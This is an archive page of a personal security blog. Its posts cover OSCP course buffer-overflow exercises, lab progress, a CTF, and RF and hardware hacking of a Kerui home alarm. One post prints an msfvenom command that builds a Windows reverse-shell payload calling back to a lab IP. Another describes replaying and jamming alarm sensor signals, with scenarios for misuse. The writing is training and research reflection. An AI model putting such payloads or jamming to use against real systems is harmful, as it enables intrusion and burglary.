Kilala.nl - Personal website of Thomas Sluyter

Unimportant background
Login
  RSS feed

About me

Blog archives

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

> Weblog

> Sysadmin articles

> Maths teaching

Learning more about and thanks to buffer overflows

2017-02-04 09:20:00

I'm very happy that the PWK coursebook includes no less than three prepared buffer overflow exercises to play with. The first literally takes you by the hand and leads you through building the buffer overflow attack step by step. The second (exercise 7.8.1) gives you a Windows daemon to attack and basically tells you "Right! Now do what you just did once more, but without help!" and the third falls kind of in-between while attacking a Linux daemon. Exercise 7.8.1 (vulnserver.exe) is the last one I tackled as it required lab access.

By this time I felt I had an okay grasp of the basics and I had quickly ascertained the limits within which I would have to complete my work. Things ended up taking a lot more time though, because I have a shaky understanding of the output sizing displayed by MSFVenom. For example:

root@kali:# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.177 LPORT=443 -b "\x00" -f c
...
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes

I kept looking at the "final size" line, expecting that to be the amount that I needed to pack away inside the buffer. That led me down a rabbit hole of searching for the smallest possible payload (e.g. "cmd/windows/adduser") and trying to use that. Turns out that I should not look at the "final size" line, but simply at the "payload size" value. Man, 7.8.1 is so much easier now! Because yes, just about any decent payload does fit inside the buffer part before the EIP value. 

That just leaves you with the task of grabbing a pointer towards the start of the buffer. ESP is often used, but at the point of the exploit it points towards the end of the buffer. Not a problem though, right? Just throw a little math at it! Using "nasm_shell" I found the biggest subtraction (hint: it's not 1000 like in the image) I could make without introducing NULL characters into the buffer and just combined a bunch of'm to throw ESP backwards. After that, things work just fine. 

Learning points that I should look into:


kilala.nl tags: , , ,

View or add comments (curr. 0)

PWK Labs: the first host falls

2017-01-29 20:41:00

Hotline Miami 2 logo

I thought I'd get a quick start on doing recon on the PWK labs. Using various enumeration and scanning techniques I've so far found 46 of the 50 hosts I expect to be in the public network. Beyond that, we'll see. For now, I wanted to get started on at least one box. One stood out: 10.11.1.217, which was found to have no less than ten open services. That looks promising!

It was a lot of fun, exploring that box! What started with a simple credentials issue, led me down the rabbit hole of multi-application LFI. Where I got within inches of the goal using my own approach I did not manage to leap that final hurdle. Some more research led me to an alternative approach of the same category, which flawlessly led to a shell. After that, the host was rife with configuration issues that led to privesc. 

Onwards! I need to dig deeper into this box, to see what more I can find :)


kilala.nl tags: , , , ,

View or add comments (curr. 1)

PWK Labs lead times? Not today!

2017-01-27 12:28:00

Having finished 90% of my PWK exercises, it's time to get into the online labs! The final 10% of the exercises need lab access and I need a Windows VM with valid SLMail license. The OffSec website warns that usually there's a two to three week lead time on your lab access requests. Well apparently not today! I received an email at 12:27 that my lab access will start at 13:30 today. Ace!


kilala.nl tags: , ,

View or add comments (curr. 0)

OSCP and PWK studies: progress

2017-01-24 21:16:00

It's been a few weeks since I took the PWK (Pentesting With Kali Linux) course at TSTC in Veenendaal. After a short break, I've gone over the whole course book a second time. On the one hand to keep the materials fresh in my head, but also to go over all of the exercises a second time. By making a proper report of all the exercises, it's possible to qualify for 5 bonus points on the OSCP exam. On a minimum score of 70 points, that's a pretty big deal!

I'm currently busting my head on chapter 8, on Linux buffer overflows, which wasn't handled in class. I'm fine on the general concepts and execution, but I'm running afoul a conflict between the 64-bit EDB debugger and the 32-bit application used as an example. Things aren't playing 100% nice, with an unexpected segfault currently getting in my way. 

After this, it's time to start my lab time. I've finished all the coursework as far as possible without using the labs, but now that can't be postponed anymore. 


kilala.nl tags: ,

View or add comments (curr. 0)

Getting with the times: website renovation

2017-01-19 22:18:00

It's been roughly eight years since I started work on KilalaCMS, the code that runs this website. She's served me well and I haven't had many headaches. Early on, Dick offered me lots of great help in sanitizing input, putting up at least some SQL injection protection. In the end it might not be much to look at, but she's mine :)

A few months back Dreamhost sent their customers who were still on PHP5.5 a warning that said version would soon be dropped from their servers. Thus, it was a warning to go check your code. Obviously KilalaCMS was behind the times, so I've now taken some time to adjust things here and there so it works in PHP7.0. I've also taken the liberty to default everything to HTTPS, using a free SSL cert from Lets Encrypt. Dreamhost took care of the latter part for me. Good service!

I may run into a bug or two, but so far things are looking good!

EDIT: Kudos by the way to Dreamhost for their tech support! As part of the reno, I'd decided to run an "sqlmap" test against my DEV site, to make sure I wasn't leaving SQLI in plain sight. After the first tentative probe, the server slammed the door on my nose! They've got their boxes set up quite nicely, to prevent attacks like these. Nice! Had a chat with their support people and we worked out a nice way for me to test, without affecting my site or any of the other folks hosted on my box. 


kilala.nl tags: , ,

View or add comments (curr. 0)

Offensive Security PWK - CTF

2016-12-16 12:37:00

Faraday Security pentest

So far I'm loving OffSec's live classroom PWK course (Pen-Testing with Kali Linux), mostly because it actually requires quite some effort while your there. No slouching in your seats, but axe-to-the-grindwheel hands-on work. But last night was a toughy! As part of the five day course, the Thursday evening offers an additional CTF where all students can take part in attacking a simulated company. 

The initial setup is quite similar to the events which I'd experience at Ultimum and at KPMG: the contestants were divided into teams and were given VPN login details. In this case, the VPN connection led us straight into the target company's DMZ, of which we were given a basic sketch. A handful of servers were shown, as well as a number of routers/firewalls leading into SCADA and backoffice networks. As usual, the challenge was to own as many systems as possible and to delve as deeply into the network as you could. 

Let me tell you, practicing coursework is something completely different from trying the real deal. Here we are, with 32 hours of practice under our belt and all of a sudden we're spoilt for choice. Two dozen target hosts with all manner of OSes and software. In the end my team concluded that it was so much that it'd left our heads spinning and that we should have focused on a small number of targets instead of going wide. 

Our initial approach was very nice: get together as a group, quickly introduce eachother and then form pairs. With a team of 8-10 people, working individually leads to a huge mess. Working in pairs, not only would we have two brains on one problem, but that would also leave more room for open communication. We spent the first 45 minutes on getting our VPN connections working and on recon, each pair using a different strategy. All results were the poured into Faraday on my laptop, whose dashboard was accessible to our team mates through the browser. I've been using Faraday pretty extensively during the PWK course and I'm seriously considering using it on future assignments!

After three grueling hours our team came in second, having owned only one box and having scored minor flags on other hosts. I'm grateful that the OffSec team went over a few of the targets today, taking about 30min each to discuss the approach needed to tackle each host. Very educational and the approaches were all across the board :)


kilala.nl tags: , , , ,

View or add comments (curr. 0)

Continued RF hacking of a home alarm system

2016-10-21 10:57:00

Continuing where I left off last time (replay attack using a remote), I wanted to see how easy it would be to mess with the sensors attached to the Kerui home alarm system that I'm assessing. 

For starters, I assumed that each sensor would use the same HS1527 with a different set of data sent for various states. At least in the case of the magnet sensors, that assumption was correct. The bitstreams generated by one of the contacts are as follows:

As I proved last time, replaying any of these codes is trivial using an Arduino or similar equipment. Possible use cases for miscreants could include:

  1. Trick the alarm into thinking an open door is closed, before the alarm gets armed. That way the home owner does not get alerted about leaving something open when leaving the home. 
  2. Trick the alarm into thinking a window opened, after the alarm gets armed. Do this often enough, a few nights a week, and the home owner will get fed up with the alarm and just disable it. 

Going one step further I was wondering whether the simple 433Mhz transmitter for my Arduino would be capable of drowning out the professionally made magnet contacts. By using Suat Özgür's RC-Switch library again, I set the transmitter to continuously transmit a stream of ones. Basically, just shouting "AAAAAAAAAHHHHH!!!!!" down the 433MHz band.

Works like a charm, as you can see in the video below. Without the transmitter going, the panel hears the magnet contact just fine. Turning on the transmitter drowns out any of the signals sent by the contact.


kilala.nl tags: , ,

View or add comments (curr. 0)

First steps in hardware hacking

2016-10-05 08:23:00

Having come a long way in the RF-part of my current security project, I decided to dive into the hardware part of my research. The past few weeks have been spent with a loupe, my trusty multimeter, a soldering iron and some interesting hardware!

Cracking the shell of the Kerui G19 shows a pretty nice PCB! All ICs and components are on the backside, the front being dedicated to the buttons and the business end of the LCD panel. Opening the lid on the back immediately shows what look like unterminated service pins (two sets of'm), which is promising. 

What's less promising, is that the main IC is completely unmarked. That makes identifying the processor very hard, until I can take a crack at the actual firmware. My initial guess was that it's some ARM7 derivative, because the central panel mostly acts like a dressed-down feature phone with Android. A few weeks later that guess feels very, very off and it's most likely something much simpler. As user PedroDaGr8 mentioned on my Reddit thread about the PCB:

"Most people would assume an ARM in this case. In reality, it might be ARM, PIC, AVR, MIPS, FPGA, CPLD, H78, etc. Any of these could fulfill this role and function. It often depends on what the programmer or programming team is familiar with. I have seen some designs from China before, that used a WAY OVERKILL Analog Devices Blackfin DSP processor as the core. Why? Because it was cheaper to use the guys they had that were proficient at programming in Blackfin than to hire new guys for this one product."

So until I can analyse the firmware, the CPU could be just about anything! :D

There are many great guides online, on the basics of hardware hacking, like DevTTYs0's "Reverse engineering serial ports" or Black Hills Security's "We can hardware hack, and you can too!". Feeling confident in their teachings I took to those service pins with my multimeter. Sadly, both rows of pins had an amount of pins that's not consistent with UART consoles but I didn't let that discourage me. Based on the measured voltages I hooked up my PL2303 UART-to-USB, to see if I could find anything useful. 

No dice. Multiple pins provided output onto my Picocom console, often with interspersed Chinese unicode characters. But no pins would react to input and the output didn't look anything like a running OS or logging. 

Between the lack of identification on the CPU and the lack of clear UART ports, it was time for hard work! I took a page from the book of Joffrey Czarny & Raphaël Rigo ("Reverse engineering hardware for software reversers", slide 11) and started mapping out all the components and traces on the PCB. Instead of using their "hobo method" with GIMP, I one-upped things by using the vector editor InkScape. My first few hours of work resulted in what you see above: a mapping of both sides of the PCB and the interconnections of most of the pins. 

Thus I learned a few things:

  1. Damn! There's at least one hidden layer of traces on the inside of the PCB. I have deduced the existence of a number of connections that cannot be visually confirmed, only by measuring resistance. 
  2. The service headers under the backside lid are connected to both the CPU (CN11 and CN3) with CN3 probably having served to flash the firmware into the EN25-F80 EEPROM.

Status for now: lots of rewarding work and I have a great SVG to show for it. And I've gotten to know my Arduino and PL2303 a bit better. But I haven't found anything that helps me identify an OS or a console port yet. I'll keep at it!!


kilala.nl tags: , ,

View or add comments (curr. 0)

Older blog posts